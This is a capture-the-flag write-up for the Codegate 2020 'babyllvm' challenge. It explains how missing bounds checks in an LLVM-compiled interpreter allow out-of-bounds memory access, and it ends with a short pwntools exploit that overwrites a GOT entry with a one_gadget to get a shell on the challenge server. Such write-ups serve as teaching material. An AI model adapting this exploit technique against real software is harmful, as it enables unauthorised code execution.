babyllvm

I recently competed in Codegate CTF 2020 under the junior category. This was the one of the more interesting challenges that I solved.

Summary

This was more of a reversing problem than pwn. The llvm served only to obfuscated the code, as opposed to raising any challenges itself.

Analysis

Three observations are needed to solve the problem.

  1. The data pointer can be out of bounds after a codeblock finishes executing.
  2. During branched execution, the security checks don’t ever get called. 3.
  3. During linear execution, ptrBoundCheck won’t get called if you don’t adjust rel_pos.

Observation 1

During linear execution, the opcode 1 lacks checks on the data pointer location.

elif op == 1:
  if imm != 0:
    ori = builder.ptrtoint(builder.load(dptr_ptr), i64)
    incr = llvmIR.Constant(i64, imm)
    new = builder.inttoptr(builder.add(ori, incr), i8_ptr)
    builder.store(new, dptr_ptr)
    rel_pos += imm

This directly stores the value of dptr + imm into dptr. Crucially, this means that the data pointer could point to out of bounds code after execution of a codeblock.

Observation 2

Note that after one branching, the code is generated as

br1b = self.br1.codegen(module, (0, 0))
br2b = self.br2.codegen(module, (0, 0))

This passes in (0, 0) as the whitelist. If br1 has additional branching, the check will never evaluate to true because whitelist will always be (0, 0) for non-linear code pieces.

if not is_safe(0, whitelist):
  ...
  builder.call(ptrBoundCheck, [start, bound, cur])

Observation 3

As before, recall that the whitelist is set as (0, 0) by default.

If rel_pos is equal to zero, then the security checks will never be called.

if not is_safe(rel_pos, whitelist_cpy):
  ...
  builder.call(ptrBoundCheck, [start, bound, cur])

If the data pointer points to out of bounds memory at the start of execution of the codeblock, we will be able to execute instructions on it!

Exploit

Combining these three observations, we can easily create an exploit. For example, consider the following block of code.

builder.position_at_end(resolveRight(headb)) # data_ptr = -1
if not is_safe(0, whitelist): # Never gets called
  ...
...
builder.cbranch(cond, resolveLeft(br2b), resolveLeft(br1b)) # do something with memory[-1]

For example, you could get a leak with <<<[-.].

head: <<<
left: -.
right: [Empty]

This would shift the data pointer 3 bytes left, and then repeatedly subtract and print until the data pointer becomes zero.

We don’t actually need a leak however, as all of our operations are relative. Because only partial relro is enabled, we can simply shift a GOT entry in runtime.so to a one_gadget.

Final Exploit

The final exploit is actually quite short. Most of the work was done constructing the three observations, hence it being more of a reversing problem than pwn.

from pwn import *

if "--remote" in sys.argv:
  p = remote("58.229.240.181", 7777)
else:
  #p = process(["python3", "main.py"])
  p = remote("localhost", 7777)

off = 0x40

p.sendlineafter(">>>", "[]" + "<" * 0x78 + "[" + "+" * (0x8c - 0x40) + ">" * off + "]"
  + "<" * (off - 1) + "[" + "+" * (0xc3 - 0x21) + ">" * off + "]"
  + "<" * (off - 1) + "[" + "-" * (0x44 - 0x43) + ">" * off + "]"
  )

p.sendlineafter(">>>", ".")


p.interactive()